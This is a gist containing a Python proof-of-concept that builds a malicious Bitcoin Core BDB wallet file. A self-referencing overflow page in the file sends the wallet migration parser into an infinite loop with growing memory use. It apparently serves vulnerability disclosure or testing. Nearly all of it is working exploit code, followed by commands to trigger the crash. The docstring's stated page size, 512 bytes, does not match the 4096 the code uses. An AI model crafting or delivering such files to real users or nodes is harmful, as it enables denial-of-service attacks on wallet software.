Skip to content

Instantly share code, notes, and snippets.

@instagibbs
Created March 28, 2026 22:40
Show Gist options
  • Select an option

  • Save instagibbs/f92c17c34bfefa4aa391cb2b9c6306de to your computer and use it in GitHub Desktop.

Select an option

Save instagibbs/f92c17c34bfefa4aa391cb2b9c6306de to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
"""
Craft a malicious BDB wallet file with circular overflow page references.
The Bitcoin Core BDB read-only parser (src/wallet/migrate.cpp) follows
overflow page chains without cycle detection. This script creates a
minimal valid BDB file where an overflow page's next_page field points
back to itself, causing an infinite loop with unbounded memory growth
when the file is opened via migratewallet or bitcoin-wallet tool.
File layout (page_size=512, 5 pages = 2560 bytes):
Page 0: Outer MetaPage (root=1, last_page=4)
Page 1: Outer root leaf (contains "main" -> page 2)
Page 2: Inner MetaPage (root=3)
Page 3: Inner root leaf (contains overflow record -> page 4)
Page 4: Overflow page (next_page=4, self-referencing cycle)
Usage:
python3 craft_circular_bdb.py [output_path]
Then trigger via:
timeout 5 bitcoin-wallet -wallet=circular_wallet.dat dump
# or copy to wallet dir and call migratewallet RPC
The parser will enter an infinite loop at migrate.cpp:676-687,
consuming CPU and growing memory until killed.
NOTE on endianness: Bitcoin Core's serialization (s >> uint32_t) reads
little-endian. The BDB parser reads all fields via this mechanism, then
byte-swaps if other_endian is set. We write in LE so other_endian=false
and no swapping is needed. The one exception is the subdatabase page
number in the outer root leaf, which is always read via ReadBE32().
"""
import struct
import sys
PAGE_SIZE = 4096
BTREE_MAGIC = 0x00053162
BDB_VERSION = 9
SUBDB_FLAG = 0x20
# Page types
BTREE_META = 9
BTREE_LEAF = 5
OVERFLOW_DATA = 7
# Record types
KEYDATA = 1
OVERFLOW_REC = 3
def u32le(val):
"""Pack uint32 little-endian (Bitcoin Core serialization format)."""
return struct.pack("<I", val)
def u16le(val):
"""Pack uint16 little-endian."""
return struct.pack("<H", val)
def u32be(val):
"""Pack uint32 big-endian (for BDB-specific fields like ReadBE32)."""
return struct.pack(">I", val)
def u8(val):
"""Pack uint8."""
return struct.pack("B", val)
def pad_page(data):
"""Pad data to PAGE_SIZE with zeros."""
assert len(data) <= PAGE_SIZE, f"Page data too large: {len(data)}"
return data + b'\x00' * (PAGE_SIZE - len(data))
def make_lsn():
"""LSN: file=0, offset=1 (required to pass LSN reset check)."""
return u32le(0) + u32le(1)
def make_meta_page(page_num, root_page, last_page):
"""Build a BTree metadata page (type 9)."""
data = bytearray()
data += make_lsn() # lsn_file, lsn_offset
data += u32le(page_num) # page_num
data += u32le(BTREE_MAGIC) # magic (LE so other_endian=false)
data += u32le(BDB_VERSION) # version
data += u32le(PAGE_SIZE) # pagesize
data += u8(0) # encrypt_algo (0 = none)
data += u8(BTREE_META) # type
data += u8(0) # metaflags
data += u8(0) # unused1
data += u32le(0) # free_list
data += u32le(last_page) # last_page
data += u32le(0) # partitions
data += u32le(0) # key_count
data += u32le(0) # record_count
data += u32le(SUBDB_FLAG) # flags (SUBDB=0x20)
data += b'\x00' * 20 # uid
data += u32le(0) # unused2
data += u32le(2) # minkey
data += u32le(0) # re_len
data += u32le(0) # re_pad
data += u32le(root_page) # root
data += b'\x00' * 368 # unused3
data += u32le(0) # crypto_magic
data += b'\x00' * 12 # trash
data += b'\x00' * 20 # iv
data += b'\x00' * 16 # chksum
return pad_page(bytes(data))
def make_page_header(page_num, prev_pg, next_pg, entries,
hf_offset, level, pg_type):
"""Build a 26-byte page header (all multi-byte fields in LE)."""
data = bytearray()
data += make_lsn() # lsn_file, lsn_offset
data += u32le(page_num) # page_num
data += u32le(prev_pg) # prev_page
data += u32le(next_pg) # next_page
data += u16le(entries) # entries
data += u16le(hf_offset) # hf_offset
data += u8(level) # level
data += u8(pg_type) # type
return bytes(data)
def make_record_header(length, rec_type):
"""Build a 3-byte record header (len is LE uint16)."""
return u16le(length) + u8(rec_type)
def make_outer_root_leaf(page_num, inner_meta_page):
"""
Build the outer root leaf page (page 1).
Contains exactly 2 records:
Record 0: KEYDATA "main" (the subdatabase name)
Record 1: KEYDATA <4-byte BE page number of inner meta>
The subdatabase page number is always read via ReadBE32() at
migrate.cpp:610, so it must be big-endian regardless of the
file's endianness.
"""
header = make_page_header(
page_num=page_num,
prev_pg=0,
next_pg=0,
entries=2,
hf_offset=0,
level=1,
pg_type=BTREE_LEAF,
)
# Record 0: "main" (4 bytes)
rec0_hdr = make_record_header(4, KEYDATA)
rec0_data = b'main'
rec0 = rec0_hdr + rec0_data # 7 bytes
# Record 1: inner meta page number (always big-endian per ReadBE32)
rec1_hdr = make_record_header(4, KEYDATA)
rec1_data = u32be(inner_meta_page)
rec1 = rec1_hdr + rec1_data # 7 bytes
# Place records near the end of the page
rec0_offset = PAGE_SIZE - 14
rec1_offset = PAGE_SIZE - 7
# Index table (LE uint16 offsets within the page)
index0 = u16le(rec0_offset)
index1 = u16le(rec1_offset)
page = bytearray(PAGE_SIZE)
page[0:26] = header
page[26:28] = index0
page[28:30] = index1
page[rec0_offset:rec0_offset + len(rec0)] = rec0
page[rec1_offset:rec1_offset + len(rec1)] = rec1
return bytes(page)
def make_inner_root_leaf_with_overflow(page_num, overflow_page):
"""
Build the inner root leaf page (page 3).
Contains 2 records (key-value pair):
Record 0: KEYDATA key (e.g., "key1")
Record 1: OVERFLOW record pointing to overflow_page
The overflow record triggers the vulnerable loop.
"""
header = make_page_header(
page_num=page_num,
prev_pg=0,
next_pg=0,
entries=2,
hf_offset=0,
level=1,
pg_type=BTREE_LEAF,
)
# Record 0: key "key1" (4 bytes)
rec0_hdr = make_record_header(4, KEYDATA)
rec0_data = b'key1'
rec0 = rec0_hdr + rec0_data # 7 bytes
# Record 1: overflow record
# RecordHeader: len=0 (unused for overflow), type=3
# Body: 1 byte unused, 4 bytes page_number (LE), 4 bytes item_len (LE)
rec1_hdr = make_record_header(0, OVERFLOW_REC)
rec1_body = u8(0) + u32le(overflow_page) + u32le(100)
rec1 = rec1_hdr + rec1_body # 3 + 9 = 12 bytes
rec0_offset = PAGE_SIZE - 19
rec1_offset = PAGE_SIZE - 12
index0 = u16le(rec0_offset)
index1 = u16le(rec1_offset)
page = bytearray(PAGE_SIZE)
page[0:26] = header
page[26:28] = index0
page[28:30] = index1
page[rec0_offset:rec0_offset + len(rec0)] = rec0
page[rec1_offset:rec1_offset + len(rec1)] = rec1
return bytes(page)
def make_overflow_page_circular(page_num):
"""
Build an overflow page (type 7) whose next_page points to itself.
The parser reads hf_offset bytes of data from this page, then
follows next_page. Since next_page == page_num, it loops forever,
appending hf_offset bytes of data on each iteration.
hf_offset is set to 32 so each iteration appends 32 bytes to
a vector. Memory grows linearly with iterations.
"""
data_len = 32
header = make_page_header(
page_num=page_num,
prev_pg=0,
next_pg=page_num, # <-- CIRCULAR: points to self
entries=0,
hf_offset=data_len,
level=0,
pg_type=OVERFLOW_DATA,
)
page = bytearray(PAGE_SIZE)
page[0:26] = header
# Fill overflow data area with recognizable pattern
for i in range(data_len):
page[26 + i] = 0xAB
return bytes(page)
def main():
output_path = sys.argv[1] if len(sys.argv) > 1 else "circular_wallet.dat"
page0 = make_meta_page(page_num=0, root_page=1, last_page=4)
page1 = make_outer_root_leaf(page_num=1, inner_meta_page=2)
page2 = make_meta_page(page_num=2, root_page=3, last_page=4)
page3 = make_inner_root_leaf_with_overflow(page_num=3, overflow_page=4)
page4 = make_overflow_page_circular(page_num=4)
wallet_data = page0 + page1 + page2 + page3 + page4
with open(output_path, 'wb') as f:
f.write(wallet_data)
print(f"Wrote {len(wallet_data)} bytes to {output_path}")
print(f" Pages: 5 x {PAGE_SIZE} = {5 * PAGE_SIZE} bytes")
print(f" Layout:")
print(f" Page 0: Outer MetaPage (root=1, last_page=4)")
print(f" Page 1: Outer root leaf ('main' -> page 2)")
print(f" Page 2: Inner MetaPage (root=3)")
print(f" Page 3: Inner root leaf (overflow -> page 4)")
print(f" Page 4: Overflow page (next_page=4, CIRCULAR)")
print()
print(f"To trigger:")
print(f" timeout 5 bitcoin-wallet -wallet={output_path} dump")
print(f" # Process will loop forever; use timeout or Ctrl-C")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment